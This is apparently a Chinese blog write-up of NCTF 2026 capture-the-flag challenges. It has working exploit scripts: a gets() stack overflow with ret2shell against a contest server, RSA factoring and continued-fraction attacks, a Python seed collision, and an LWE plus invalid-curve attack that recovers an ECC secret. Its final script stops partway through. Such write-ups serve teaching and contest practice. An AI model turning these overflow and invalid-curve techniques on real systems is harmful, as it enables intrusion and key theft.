Announcement
Hope my blog can help you.
Site Statistics
10
2
4
43,646
0 days
0 days ago
5452 words
27 minutes
NCTF 2026 WriteUp
Crypto
Encryption
本来以为是 Reverse + Crypto，后面发现好像。。是个 pwn 题似乎？
我们在main函数里可以发现，题目先用gets(s)读取了用户输入s，在后面才用strlen(s)检查长度是否超过 64。这里有一个可以绕过的方式：栈溢出gets()，并用\x00通过strlen()的检查。所以我们输入b'\x00' + b'A' * (offset - 1)就可以利用这个漏洞了，然后题目中还自带了一个shell：
直接ret2shell就行可以拿到ctf的权限，拿到shell后会发现cat /flag没有权限，再审一下main文件能看到其实/flag文件的内容也是从env里拿的，直接env找flag就行。
exp.py：
from pwn import *
context.log_level = 'error'r = remote('114.66.24.221', 46155)ret = 0x401496shell = 0x401436offset = 0x3e0 + 0x8payload = b'\x00' + b'A' * (offset - 1) + p64(ret) + p64(shell)r.recvuntil(b'Enter plaintext in chars (max 64 chars):')r.sendline(payload)r.interactive()"""env...KUBERNETES_PORT_443_TCP_PORT=443GZCTF_FLAG=flag{1edecadf-aa9e-4409-9976-51a23aca76f1}KUBERNETES_PORT_443_TCP_PROTO=tcp..."""Ez_RSA
题目：
from Crypto.Util.number import *from secrets import flag
nbits = 512p = getPrime(nbits)q = getPrime(nbits)n = p * qe = 65537m = bytes_to_long(flag)c = pow(m, e, n)hint = p ^ int(bin(q)[:1:-1], 2)
print(f"nbits = {nbits}")print(f"n = {n}")print(f"e = {e}")print(f"c = {c}")print(f"hint = {hint}")
# nbits = 512# n = 113811568965055236591575124486758679392744553312134148909105203346767338399571149835776281246434662598568061596388663253038256689345299177200416663539845688277447346395189677568405388952270634599590543939397457325519084988358577805564978282375882831765408646889940777372958745826393653515323881370943911243589# e = 65537# c = 28637971616659975415203771281328378878549288421921080859079174552593926682380791394169267513651195690175911968893108214839850128311436983081661719981958725955998997347063633351893769712863719014753154993940174947685060864532241899917269380408066913133029163844049218414849768354727966161277243216291473824377# hint = 157624334507300300837306007943988438905196981213124202656160912356046979618961372023595598201180149465610337965346427263713514476892241848899142885213492关键就是hint = p ^ int(bin(q)[:1:-1], 2)，通过hint = p ^ rev(q)和n = p * q的条件约束进行剪枝打出p和q就行。首先我们每一次新增候选状态得新增q的高低各一位而不是常见的p和q的低一位。然后约束部分也需要改，除了qlow * plow = nlow以外，根据已知高低位，我们可以给出p和q各自的一个区间范围：
从这里我们可以给出一个新的区间约束：
exp.py：
from Crypto.Util.number import long_to_bytes, inverse
def revbits(x, k): return int(f"{x:0{k}b}"[::-1], 2)def recover_pq_fast_rev(n, hint, nbits=512): states = {(1, 1)} # q0 = 1, q511 = 1
for k in range(1, nbits // 2): kk = k + 1 lowmask = (1 << kk) - 1 n_low = n & lowmask hint_low = hint & lowmask hint_high = hint >> (nbits - kk) free = nbits - 2 * kk midmask = (((1 << free) - 1) << kk) if free > 0 else 0 new_states = set() for ql, qh in states: for low_bit in (0, 1): for high_bit in (0, 1): ql2 = ql | (low_bit << k) qh2 = (qh << 1) | high_bit p_low = hint_low ^ revbits(qh2, kk) if (p_low * ql2) & lowmask != n_low: continue p_high = hint_high ^ revbits(ql2, kk) q_min = (qh2 << (nbits - kk)) | ql2 q_max = q_min | midmask p_min = (p_high << (nbits - kk)) | p_low p_max = p_min | midmask if p_min * q_min <= n <= p_max * q_max: new_states.add((ql2, qh2)) if not new_states: raise ValueError(f"no candidate at level {kk}") states = new_states for ql, qh in states: q = (qh << (nbits // 2)) | ql p = hint ^ revbits(q, nbits) if p * q == n: return p, q raise ValueError("p, q not found")
n = 113811568965055236591575124486758679392744553312134148909105203346767338399571149835776281246434662598568061596388663253038256689345299177200416663539845688277447346395189677568405388952270634599590543939397457325519084988358577805564978282375882831765408646889940777372958745826393653515323881370943911243589e = 65537c = 28637971616659975415203771281328378878549288421921080859079174552593926682380791394169267513651195690175911968893108214839850128311436983081661719981958725955998997347063633351893769712863719014753154993940174947685060864532241899917269380408066913133029163844049218414849768354727966161277243216291473824377hint = 157624334507300300837306007943988438905196981213124202656160912356046979618961372023595598201180149465610337965346427263713514476892241848899142885213492p, q = recover_pq_fast_rev(n, hint, 512)print("p =", p)print("q =", q)phi = (p - 1) * (q - 1)d = inverse(e, phi)m = pow(c, d, n)print(long_to_bytes(m).decode())# p = 10743771419395943164417332653673290960958139045546638832291487346321792487764166849674631049722360547314272957547274607358707057746188059249295189175551847# q = 10593260459691925201379574851375338641645856916279917958808294310193810189613828191376171218475082697581237063854271191581899236112877621049836103845020787# nctf{4lg0r1thm1c_1s_a1s0_1mp0rt4nt!}Hard_RSA
题目：
from Crypto.Util.number import getPrime, bytes_to_longfrom secrets import flag
nbits = 512
p = getPrime(nbits)q = getPrime(nbits)N = p * q
phi = (p ** 6 - 1) * (q ** 6 - 1)d = getPrime(int(nbits * 2))e = pow(d, -1, phi)m = bytes_to_long(flag)c = pow(m, e, N)
print(f"{N=}")print(f"{e=}")print(f"{c=}")
# N = 74919314162966623026780409394635730851359423962042152804673359696062303592948792225237959325724332015193893411896458285500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620503763041544738664221739366981075762409535100379250338620618401995088237# e = 115382440363851496163981840486384107492561192043935907058980266086827528886481753709205601977721854806609873255930935032352098823336758578514742052017664624320880734668505025950239731519576865823805968986213809315084654931730883582863309373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323411466463777306753584000597164370440130463322472428512359842079912370327303953535847288486792265729271519703439492772330110292227648936855652822622441290491046329984519666372475460813076592933292830035116887451745183745100906127431677048635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310361812370155771970529353757475322332721624146410615784452731493876192295337760243245754571266092484216808152656042093317366135329225792879900416688516879481855055555090043162672499662746617097324126665279154039087354142631899072583591875973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519764420837504151687245003054945691565644413351468736320044794906326974209391387438080503466412668871800294636642414652459851564340761041186735760949703483158497968185223108721790483665796212381899768853381692611758739543856321631250649771030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128373562401278765223263898827117486913915002789859131458355569155109058470780395630260922250802643984468511286231457608106175597829905176417125226959444682393922189933288709798973807586352487516329712976257944503755516552005154708122299515447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044768946879601448500750228731652608416508751483139575431367276816127751324213761# c = 46597101834449995414927716136287390792937263485498695607622613274985303919148099277379370499625616739447192289360957892792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733452207322953311422907574742284390173017434719506924876701654539254320355关键点：phi = (p ** 6 - 1) * (q ** 6 - 1)。连分数直接打就行，取
exp.py：
from Crypto.Util.number import inverse, long_to_bytes
class ContinuedFraction(): def __init__(self, numerator, denominator): self.numberlist = [] self.fractionlist = [] self.GenerateNumberList(numerator, denominator) self.GenerateFractionList()
def GenerateNumberList(self, numerator, denominator): # 生成简单连分数 while numerator != 1: quotient = numerator // denominator remainder = numerator % denominator self.numberlist.append(quotient) numerator = denominator denominator = remainder
def GenerateFractionList(self): self.fractionlist.append([self.numberlist[0], 1]) for i in range(1, len(self.numberlist)): numerator = self.numberlist[i] denominator = 1 for j in range(i): temp = numerator numerator = denominator + numerator * self.numberlist[i - j - 1] denominator = temp self.fractionlist.append([numerator, denominator])
n = 74919314162966623026780409394635730851359423962042152804673359696062303592948792225237959325724332015193893411896458285500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620503763041544738664221739366981075762409535100379250338620618401995088237e = 115382440363851496163981840486384107492561192043935907058980266086827528886481753709205601977721854806609873255930935032352098823336758578514742052017664624320880734668505025950239731519576865823805968986213809315084654931730883582863309373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323411466463777306753584000597164370440130463322472428512359842079912370327303953535847288486792265729271519703439492772330110292227648936855652822622441290491046329984519666372475460813076592933292830035116887451745183745100906127431677048635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310361812370155771970529353757475322332721624146410615784452731493876192295337760243245754571266092484216808152656042093317366135329225792879900416688516879481855055555090043162672499662746617097324126665279154039087354142631899072583591875973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519764420837504151687245003054945691565644413351468736320044794906326974209391387438080503466412668871800294636642414652459851564340761041186735760949703483158497968185223108721790483665796212381899768853381692611758739543856321631250649771030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128373562401278765223263898827117486913915002789859131458355569155109058470780395630260922250802643984468511286231457608106175597829905176417125226959444682393922189933288709798973807586352487516329712976257944503755516552005154708122299515447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044768946879601448500750228731652608416508751483139575431367276816127751324213761c = 46597101834449995414927716136287390792937263485498695607622613274985303919148099277379370499625616739447192289360957892792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733452207322953311422907574742284390173017434719506924876701654539254320355res = ContinuedFraction(e, n ** 6)for k, d in res.fractionlist: # 判断哪一个是我们所需的d if k < 20: continue elif (e * d - 1) % k == 0: phi = (e * d - 1) // k m = pow(c, d, n) print(long_to_bytes(m).decode()) break# nctf{98b1e5c-9a3c-4d8e-9f1a-2b3c4d5e6f7g}RNG GAME
考察同一输出的种子碰撞，但是这题有个小 trick，应该就是出题人想考的，CPython 的_random在处理整数种子是会先取绝对值，所以我们尝试直接给负种子就 ok。
exp.py：
from pwn import *
r = remote('114.66.24.221', 36905)data = r.recvuntil(b'Here is my seed: ').decode()s = r.recvline().strip()print(data + s.decode())r.sendline(b"-" + s)print(r.recvall().decode())"""Welcome RNG GAME!!
In this game, I'll give you a seed that I used to generate a random number, and you need to give me a different seed that can generate the same random number. If you can do it, you will get the flag!!
Here is my seed: 252472955999941595061128713574475957091Give me your seed: -252472955999941595061128713574475957091Congratulations!! Here is your flag:flag{a50f4da3-7e02-43b7-82af-649aefcfeacb}"""RNG GAME revenge
revenge版本 ban 掉了负数，然后经过简单测试可以发现上限是 2 ** 256。由于是黑盒，只能说猜测出题人想考察 MT19937init_by_array函数的种子等价碰撞了。
我们首先要知道 Python 底层在处理整数种子时，会将大整数切分成多个 32-bit 的块，组成一个数组init_key，然后调用 C 语言层的init_by_array(init_key, key_length)来初始化状态机。
MT19937 的初始化循环中有一步核心状态混合代码：
mt[i] = ... + init_key[j] + j;这里的j是每次循环递增并对数组长度key_length取模的索引。
而服务器给出的 seed 基本都是 38 位长的十进制数，应该是 128-bit 整数，说明它会在被切分成 4 个 32-bit 块。如果我们构造一个更长的种子（比如将长度翻倍为 8 个 32-bit 块，刚好是 256-bit，卡在上限了），只要能保证在每一轮循环中，新的数组加上新的j，和老的数组加上老的j值完全相等，最终生成的状态机就会一模一样。
设老数组为C，新数组为C'，长度L = 4：
那么转换为生成新数组的公式就是：
这样就能抵消不同索引带来的偏移。
exp.py：
from pwn import *
def get_equivalent_seed(original_seed): chunks = [] temp = original_seed while temp > 0: chunks.append(temp & 0xffffffff) temp >>= 32 L = len(chunks) new_chunks = [] for i in range(L * 2): val = (chunks[i % L] + (i % L) - i) % (1 << 32) new_chunks.append(val) new_seed = 0 for i in range(len(new_chunks)): new_seed += new_chunks[i] << (32 * i) return new_seed
r = remote("114.66.24.221", 45055)r.recvuntil(b"Here is my seed: ")seed_str = r.recvline().strip().decode()server_seed = int(seed_str)print(f"[+] Got server seed: {server_seed}")payload_seed = get_equivalent_seed(server_seed)r.recvuntil(b"Give me your seed: ")r.sendline(str(payload_seed).encode())print(r.recvall().decode())"""[+] Got server seed: 26220409633655302501092794844039485076189223430409928246535452565803279114288536374326367558877915281000328023302601Congratulations!! Here is your flag:flag{6c1a6e2d-4327-4db7-9f08-b187e749a6e9}"""yqs
task.py：
from util import *import osfrom hashlib import sha256, sha512from Crypto.Cipher import AESfrom Crypto.Util.Padding import pad
def pack_point(P): x, y = P return (int(x) << 256) | int(y)
def unpack_point(n): x = n >> 256 y = n & ((1 << 256) - 1) return (x, y)
def get_curve25519_base(): p = 2**255 - 19 x = 9 y2 = (x**3 + 486662*x**2 + x) % p y = pow(y2, (p + 3) // 8, p) if (y * y) % p != y2: y = (y * pow(2, (p - 1) // 4, p)) % p return (x, y)
def vec2key(v, q, N): x = 0 for i in range(N): x += int(v[i]) * (q ** i) return int.from_bytes(sha256(str(x).encode()).digest(), 'little')
MAX_MSG = 100
if __name__ == '__main__': ecc = ECC(486662, 1, 2**255 - 19) G = (9, 14781619447589544791020593568409986887264606134616475288964881837755586237401)
master_sec = int.from_bytes(os.urandom(30)) master_pub = ecc.mul(G, master_sec)
print(f"[+] The Celestial Master's Seal: {pack_point(master_pub)}")
flag = os.environ.get("FLAG",'') aes_key = sha256(str(master_sec).encode()).digest() enc_flag = AES.new(aes_key, AES.MODE_ECB).encrypt(pad(flag.encode(), 32)) print(f"[+] Heavenly Cipher: {enc_flag.hex()}")
round_num = 0
while True: round_num += 1 lwe = LWE() msg_count = 0
print(f"[+] Crystal domain's modulus for today: {lwe.q}")
while True: print(f"\n[+] Round {round_num} | Spiritual trials: {msg_count}/{MAX_MSG}")
choice = input("[-] Channel your intent (m=message, e=exchange):").strip()
if choice == 'm': if msg_count >= MAX_MSG: print("[!] Your spiritual energy is depleted this round.") continue
try: msg = int(input("[-] Offer your spiritual essence (int):").strip()) except ValueError: print("[!] Invalid essence format") continue
msg_bytes = str(msg).encode() m_hash = int(sha512(msg_bytes).hexdigest(), 16) m_trunc = m_hash & ((1 << 128) - 1)
ct = lwe.encrypt(m_trunc) print(f"[+] Resonance echoes: {ct}") msg_count += 1
elif choice == 'e': try: point_int = int(input("[-] Forge your spirit formation (int):").strip()) except ValueError: print("[!] Invalid formation") continue
point_int &= (1 << 512) - 1 x, y = unpack_point(point_int)
priv = lwe.export_priv_key() x ^= priv y ^= priv
result = ecc.mul((x, y), master_sec) if result is None: print("[+] Domain resonance: 0") else: print(f"[+] Domain resonance: {pack_point(result)}") break
else: print("[!] Invalid input")util.py：
from hashlib import sha256from random import randint
qbits = 77ebits = 2N = 77
def get_prime(n): def is_prime(num): if num < 2: return False if num in (2, 3): return True if num % 2 == 0: return False d = num - 1 s = 0 while d % 2 == 0: d //= 2 s += 1 for _ in range(10): a = randint(2, num - 2) x = pow(a, d, num) if x == 1 or x == num - 1: continue for _ in range(s - 1): x = pow(x, 2, num) if x == num - 1: break else: return False return True
while True: num = randint(2 ** (n - 1), 2 ** n - 1) if num % 2 == 0: num += 1 if is_prime(num): return num
def vec_dot(a, b, mod): result = 0 for i in range(len(a)): result = (result + a[i] * b[i]) % mod return result
def vec_add(a, b, mod): return [(a[i] + b[i]) % mod for i in range(len(a))]
def vec_scalar_mul(v, scalar, mod): return [(v[i] * scalar) % mod for i in range(len(v))]
class LWE: def __init__(self): self.q = get_prime(qbits) self.e = (1 << ebits) - 1
self.s = [randint(0, self.q - 1) for _ in range(N)]
def _int_to_vec(self, m): coeffs = [] for i in range(N): coeffs.append(m % self.q) m //= self.q return coeffs
def _vec_to_int(self, v): result = 0 for i in range(N): result += v[i] * (self.q ** i) return result
def encrypt(self, m): m = m & ((1 << 8) - 1)
m_encoded = m << ebits
a = [randint(0, self.q - 1) for _ in range(N)]
error = randint(0, self.e)
b = (vec_dot(a, self.s, self.q) + m_encoded + error) % self.q
return (self._vec_to_int(a), int(b))
def decrypt(self, c): a_int, b = c a = self._int_to_vec(a_int)
m_with_error = (b - vec_dot(a, self.s, self.q)) % self.q
m_decoded = ((int(m_with_error) + (self.e // 2)) >> ebits) & ((1 << 8) - 1)
return m_decoded
def export_priv_key(self): return self._vec_to_int(self.s)
class ECC: def __init__(self, a, b, p): self.a = a self.b = b self.p = p
def add(self, A, B): if A is None: return B if B is None: return A
x1, y1 = A x2, y2 = B
if x1 == x2 and y1 == (-y2) % self.p: return None
if A == B: m = (3 * x1 * x1 + self.a) * pow(2 * y1, -1, self.p) % self.p else: m = (y2 - y1) * pow(x2 - x1, -1, self.p) % self.p
x3 = (m * m - x1 - x2) % self.p y3 = (m * (x1 - x3) - y1) % self.p
return (x3, y3)
def mul(self, A, x): result = None addend = A
while x > 0: if x & 1: result = self.add(result, addend) addend = self.add(addend, addend) x >>= 1
return result服务器开始会随机生成一个独立的 30-bytes 随机数：
master_sec = int.from_bytes(os.urandom(30))然后给出我们master_pub = ecc.mul(G, master_sec)以及enc_flag = AES-ECB(key = sha256(str(master_sec)))。接下来会进入交互，每一轮都会新建一组 LWE 私钥s，打印本轮的模数q，同时最多允许 100 次m查询和一次e。所以核心目标仍旧是恢复master_sec，LWE 可以理解为一个掩码系统，通过这个系统泄露的信息来得到master_sec。
题目的利用链分为两段，LWE 和 ECC。
LWE
我们记样本为
其中encrypt()最终只保留消息的低 8-bit，也就是m_encoded只取输入m的低 8-bit，我们可以找一个msg使其sha512(str(msg0))的最低字节为 0，即可消除m_encoded，于是样本就变成了
其中秘密向量s未知，但是它只有 77 维，我们可以用 77 个样本构成可逆矩阵，通过代入剩余约束样本将s消掉。我们取前 77 个样本构成矩阵A1，剩余样本为A2（不用全取来做约束，会很慢），对应有
如果A1可逆，则有：
代入剩余样本中：
我们记
则有
而ebits = 2，也就是说误差范围为0-3，那么问题就降成了跟小误差有关的 q-ary CVP 问题。恢复误差后回代A1的等式即可求得秘密向量s，再通过export_priv_key就可以拿到priv了。
ECC
在e分支中，服务端会先将输入点拆成(x, y)，随后执行x ^= priv; y ^= priv，最后返回ecc.mul((x,y), master_sec)的结果。由于我们已经恢复出该轮priv，因此可以反向构造输入坐标，使异或后服务端实际参与曲线运算的点等于任意给定目标点。具体地，若
且目标点为Px, Py，则令
并提交
最后打包为 point_int = (input_x << 256) | input_y。
接下来的关键在于ECC.add()和ECC.mul()，代码实现实际上只用到a和p，未用b，并且也没检查点是否落在曲线上。所以我们实际上可以在整个曲线族
中任选一条曲线上的点进行运算。于是我们可预先离线选取若干条可用曲线及其小子群点Pi（这块纯 AI 了，一点没仔细看）。在线攻击时，每轮先恢复该轮priv，再通过反异或构造使服务端实际计算
随后在已知阶为mi的子群中做离散对数，即可得到
多轮后利用 CRT 合并，恢复完整的 30-bytesmaster_sec，解密即可。
scan_curves.py：
# SageMath 10.7from sage.all import *import jsonimport randomfrom math import prod
# =========================================================# config# =========================================================
p = 2**255 - 19a = 486662
# 扫描范围B_START = 0B_END = 100
# 只保留 prime.bit_length() <= MAX_PRIME_BITS 的 prime powers 进入 smooth 部分MAX_PRIME_BITS = 34
# 单条曲线的可用子群 m 至少这么大才保留MIN_M_BITS = 60
# 已选曲线的 m 累乘位数达到这个阈值就停止# 这题理论上 240 就够，300 是比较保守的余量TARGET_PRODUCT_BITS = 300
# 找点时的最大尝试次数MAX_POINT_TRIES = 8000
# 输出文件OUTFILE = "curves.json"
# =========================================================# helpers# =========================================================
def curve_is_singular(b): return (4 * a**3 + 27 * (b % p)**2) % p == 0
def choose_smooth_part(fac, max_prime_bits=MAX_PRIME_BITS): """ 从 #E 的分解里取出“适合 PH”的 smooth 部分 m： 保留 prime.bit_length() <= max_prime_bits 的所有 prime powers """ m = 1 kept = {} for prime, exp in fac: q = int(prime) e = int(exp) if q.bit_length() <= max_prime_bits: m *= q**e kept[q] = e return int(m), kept
def exact_order_test(E, Q, m, mfac): O = E(0) if m * Q != O: return False for q in mfac.keys(): if (m // q) * Q == O: return False return True
def find_point_of_exact_order(E, card, m, mfac, max_tries=MAX_POINT_TRIES): """ 如果 #E = cofactor * m，则随机 R，令 Q = [cofactor]R， 这样 Q 落在 m-primary 部分。反复尝试直到得到阶恰为 m 的点。 """ O = E(0) cofactor = card // m
for _ in range(max_tries): R = E.random_point() Q = cofactor * R if Q == O: continue if exact_order_test(E, Q, m, mfac): return (int(Q[0]), int(Q[1])) return None
def drop_one_smallest_prime_power(m, mfac): """ 如果当前 m 找不到 exact-order 点，则删掉一个最小素因子的一次幂再试。 这样能提高找到点的概率，也能避免某些 m 太“满”不好抽到。 """ if not mfac: return None, None
q = min(mfac.keys()) new_fac = dict(mfac) new_fac[q] -= 1 if new_fac[q] == 0: del new_fac[q]
new_m = m // q return int(new_m), new_fac
def factor_dict_to_jsonable(d): return {str(int(k)): int(v) for k, v in d.items()}
def usable_item(E, card, fac, b): """ 对单个 b： 1. 先取最大 smooth m 2. 若找不到 exact-order 点，则逐步降级 m 3. 成功则返回可写入 curves.json 的条目 """ m, kept = choose_smooth_part(fac)
if m.bit_length() < MIN_M_BITS: return None, f"subgroup too small: m_bits = {m.bit_length()}"
cur_m = m cur_fac = dict(kept)
while cur_m.bit_length() >= MIN_M_BITS and cur_fac: Pxy = find_point_of_exact_order(E, card, cur_m, cur_fac) if Pxy is not None: return { "b": int(b), "m": int(cur_m), "m_factorization": factor_dict_to_jsonable(cur_fac), "x": int(Pxy[0]), "y": int(Pxy[1]), # 调试/审阅用，exp 不需要 "curve_order_bits": int(card.bit_length()), "curve_order_factorization": [(int(pr), int(exp)) for pr, exp in fac], "m_bits": int(cur_m.bit_length()), }, None
nxt_m, nxt_fac = drop_one_smallest_prime_power(cur_m, cur_fac) if nxt_m is None: break cur_m, cur_fac = nxt_m, nxt_fac
return None, f"failed to find exact-order point down to MIN_M_BITS={MIN_M_BITS}"
# =========================================================# scan# =========================================================
results = []acc_prod = 1
for b in range(B_START, B_END + 1): print(f"[+] scanning b = {b}")
if curve_is_singular(b): print(" [-] singular, skip") continue
try: E = EllipticCurve(GF(p), [a, b]) card = int(E.order()) fac = factor(card) except Exception as e: print(f" [-] failed to build/factor curve: {e}") continue
item, reason = usable_item(E, card, fac, b)
if item is None: print(f" [-] {reason}") continue
results.append(item) acc_prod *= int(item["m"]) acc_bits = acc_prod.bit_length()
print(" [*] usable") print(f" [*] m_bits = {item['m_bits']}") print(f" [*] m = {item['m']}") print(f" [*] point = ({item['x']}, {item['y']})") print(f" [*] acc_bits = {acc_bits}")
# 每找到一条就写一次，防止中途中断 with open(OUTFILE, "w", encoding="utf-8") as f: json.dump( [ { "b": x["b"], "m": x["m"], "m_factorization": x["m_factorization"], "x": x["x"], "y": x["y"], "m_bits": x["m_bits"], } for x in results ], f, ensure_ascii=False, indent=2, )
if acc_bits >= TARGET_PRODUCT_BITS: print(f"\n[+] reached target product bits: {acc_bits} >= {TARGET_PRODUCT_BITS}") break
print(f"\n[+] wrote {len(results)} curves to {OUTFILE}")print(f"[+] final accumulated bits = {acc_prod.bit_length()}")curves.json：
[ { "b": 0, "m": 338013621997985116618525, "m_factorization": { "5": 2, "89": 1, "197": 1, "82296341": 1, "9370384997": 1 }, "x": 24425002171167755971012103612392405683246168213355490759190427443791992581743, "y": 3296351240184887129515246620984835865773960368078402214126637567410209647157, "m_bits": 79 }, { "b": 5, "m": 731478584561090758, "m_factorization": { "2": 1, "7": 1, "307": 1, "1113797": 1, "152802043": 1 }, "x": 19080500896945833251015785242382806637618217495893677024576574991410189384686, "y": 41967630630263997919625930115632132637955253425041711862187800775384492556550, "m_bits": 60 }, { "b": 6, "m": 22722390586948644430372248470284, "m_factorization": { "2": 2, "29": 1, "840989": 1, "3075311": 1, "44955221": 1, "1684754161": 1 }, "x": 55234459362889656821919613866810397817504228545853346095086814125790036606500, "y": 22739350179020531048187355662955125216774007706703192728786160664122280778376, "m_bits": 105 }, { "b": 9, "m": 141847304913675693871858839495040102, "m_factorization": { "2": 1, "53": 1, "3041": 1, "167009": 1, "5109961": 1, "182006309": 1, "2833054307": 1 }, "x": 50694070800423380391004314489106032091877461703734824196138194590314671566389, "y": 52851325056230095800089991568586872822316912445416978540096262879029785656343, "m_bits": 117 }]exp.py：
# SageMath 10.7from pwn import *from hashlib import sha256, sha512from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad
from fpylll import IntegerMatrix, LLL, CVP
import astimport jsonimport mathimport random
HOST = "114.66.24.221"PORT = 49608
context.log_level = "info"context.timeout = 10
P = 2**255 - 19A = 486662N = 77EBITS = 2MAX_MSG = 100
LWE_EXTRA = 6LWE_TRIALS = 48
def logi(*args): print("[*]", *args)
def pack_point_xy(x, y): return (int(x) << 256) | int(y)
def unpack_point_int(n): x = n >> 256 y = n & ((1 << 256) - 1) return x, y
def find_zero_msg(): x = 0 while True: if sha512(str(x).encode()).digest()[-1] == 0: return x x += 1
def int_to_vec_base_q(x, q, n=N): x = int(x) q = int(q) out = [] for _ in range(n): out.append(x % q) x //= q return out
def vec_to_int_base_q(v, q): res = 0 pw = 1 for z in v: res += int(z) * pw pw *= int(q) return int(res)
def crt_merge_pair(x1, m1, x2, m2): if m1 == 1: return int(x2 % m2), int(m2) g = math.gcd(m1, m2) if (x2 - x1) % g != 0: raise ValueError("CRT inconsistency") l = m1 // g * m2 t = ((x2 - x1) // g) * pow(m1 // g, -1, m2 // g) t %= (m2 // g) x = (x1 + m1 * t) % l return int(x), int(l)
def crt_merge_list(residues, mods): x = 0 m = 1 for a, mod in zip(residues, mods): x, m = crt_merge_pair(x, m, a, mod) return x, m
# =========================================================# IO# =========================================================
def recv_line_safe(io): line = io.recvline(timeout=context.timeout) if not line: raise EOFError("recvline timeout / EOF") return line.decode(errors="ignore").strip()
def parse_initial_banner(io): seal = None enc_flag = None
while seal is None or enc_flag is None: line = recv_line_safe(io) logi("banner:", line) if "The Celestial Master's Seal:" in line: seal = int(line.split(":")[-1].strip()) elif "Heavenly Cipher:" in line: enc_flag = line.split(":")[-1].strip()
return seal, enc_flag
def read_until_round_q(io): while True: line = recv_line_safe(io) logi("srv:", line) if "Crystal domain's modulus for today:" in line: return int(line.split(":")[-1].strip())
def wait_for_menu(io): io.recvuntil(b"(m=message, e=exchange):", timeout=context.timeout)
def do_message_query(io, msg): wait_for_menu(io) io.sendline(b"m") io.recvuntil(b"(int):", timeout=context.timeout) io.sendline(str(int(msg)).encode())
while True: line = recv_line_safe(io) if "Resonance echoes:" in line: tup = ast.literal_eval(line.split(": ", 1)[1]) return int(tup[0]), int(tup[1]) if "invalid" in line.lower(): raise RuntimeError(f"unexpected reply: {line}")
def do_exchange_query(io, point_int): wait_for_menu(io) io.sendline(b"e") io.recvuntil(b"(int):", timeout=context.timeout) io.sendline(str(int(point_int)).encode())
while True: line = recv_line_safe(io) if "Domain resonance:" in line: return int(line.split(":")[-1].strip()) if "invalid" in line.lower(): raise RuntimeError(f"unexpected reply: {line}")
# =========================================================# linear algebra mod q# =========================================================
def invmat_mod_q(rows, q): n = len(rows) aug = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(rows)]
for col in range(n): pivot = col while pivot < n and aug[pivot][col] % q == 0: pivot += 1 if pivot == n: raise ValueError("singular")
aug[col], aug[pivot] = aug[pivot], aug[col]
inv = pow(aug[col][col], -1, q) aug[col] = [(x * inv) % q for x in aug[col]]
for r in range(n): if r != col and aug[r][col]: fac = aug[r][col] aug[r] = [(aug[r][c] - fac * aug[col][c]) % q for c in range(2 * n)]
return [row[n:] for row in aug]
# =========================================================# LWE# =========================================================
def solve_round_lwe_with_known_q(q, cts, extra=LWE_EXTRA, trials=LWE_TRIALS): q = int(q)
A_rows_all = [int_to_vec_base_q(ai, q, N) for ai, _ in cts] bs_all = [int(bi) for _, bi in cts]
m_all = len(cts) n = N need = n + extra if m_all < need: raise RuntimeError("not enough samples")
for attempt in range(trials): idx_use = random.sample(range(m_all), need) A_rows = [A_rows_all[i] for i in idx_use] bs = [bs_all[i] for i in idx_use]
chosen = None A1inv = None
for st in range(need - n + 1): idx = list(range(st, st + n)) try: A1inv = invmat_mod_q([A_rows[i] for i in idx], q) chosen = idx break except Exception: pass
if chosen is None: for _ in range(64): idx = random.sample(range(need), n) try: A1inv = invmat_mod_q([A_rows[i] for i in idx], q) chosen = idx break except Exception: pass
if chosen is None: continue
rest = [i for i in range(need) if i not in chosen] r = len(rest) b1 = [bs[i] for i in chosen]
C = [] d = []
for i in rest: row = A_rows[i] coeff = [] for j in range(n): v = 0 for t in range(n): v += row[t] * A1inv[t][j] coeff.append(v % q) C.append(coeff)
val = 0 for j in range(n): val += coeff[j] * b1[j] val -= bs[i] d.append(val % q)
dim = r + n B = IntegerMatrix(dim, dim)
for i in range(r): B[i, i] = q
for j in range(n): for i in range(r): B[r + j, i] = int(C[i][j]) B[r + j, r + j] = 1
LLL.reduction(B)
target = [(-x) % q for x in d] + [0] * n target = [x - q if x > q // 2 else x for x in target]
try: closest = list(CVP.closest_vector(B, target)) except Exception: continue
diff = [target[i] - closest[i] for i in range(dim)]
e_sub = [None] * need e_rest = diff[:r] e_chosen = diff[r:]
for pos, val in zip(rest, e_rest): e_sub[pos] = int(val) for pos, val in zip(chosen, e_chosen): e_sub[pos] = int(val)
rhs = [(bs[i] - e_sub[i]) % q for i in chosen]
s = [] for i in range(n): v = 0 for j in range(n): v += A1inv[i][j] * rhs[j] s.append(int(v % q))
ok = True for i in range(m_all): lhs = sum(A_rows_all[i][j] * s[j] for j in range(n)) % q err = (bs_all[i] - lhs) % q if err > q // 2: err -= q if not (0 <= err <= ((1 << EBITS) - 1)): ok = False break
if ok: priv = vec_to_int_base_q(s, q) return s, priv
raise RuntimeError("failed to solve round LWE")
# =========================================================# ECC arithmetic compatible with service# =========================================================
def point_neg(pt): if pt is None: return None x, y = pt return (x, (-y) % P)
def point_add(a, b): if a is None: return b if b is None: return a
x1, y1 = a x2, y2 = b
if x1 == x2 and (y1 + y2) % P == 0: return None
if a == b: m = (3 * x1 * x1 + A) * pow((2 * y1) % P, -1, P) % P else: m = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
x3 = (m * m - x1 - x2) % P y3 = (m * (x1 - x3) - y1) % P return (x3, y3)
def point_mul(pt, k): out = None cur = pt while k > 0: if k & 1: out = point_add(out, cur) cur = point_add(cur, cur) k >>= 1 return out
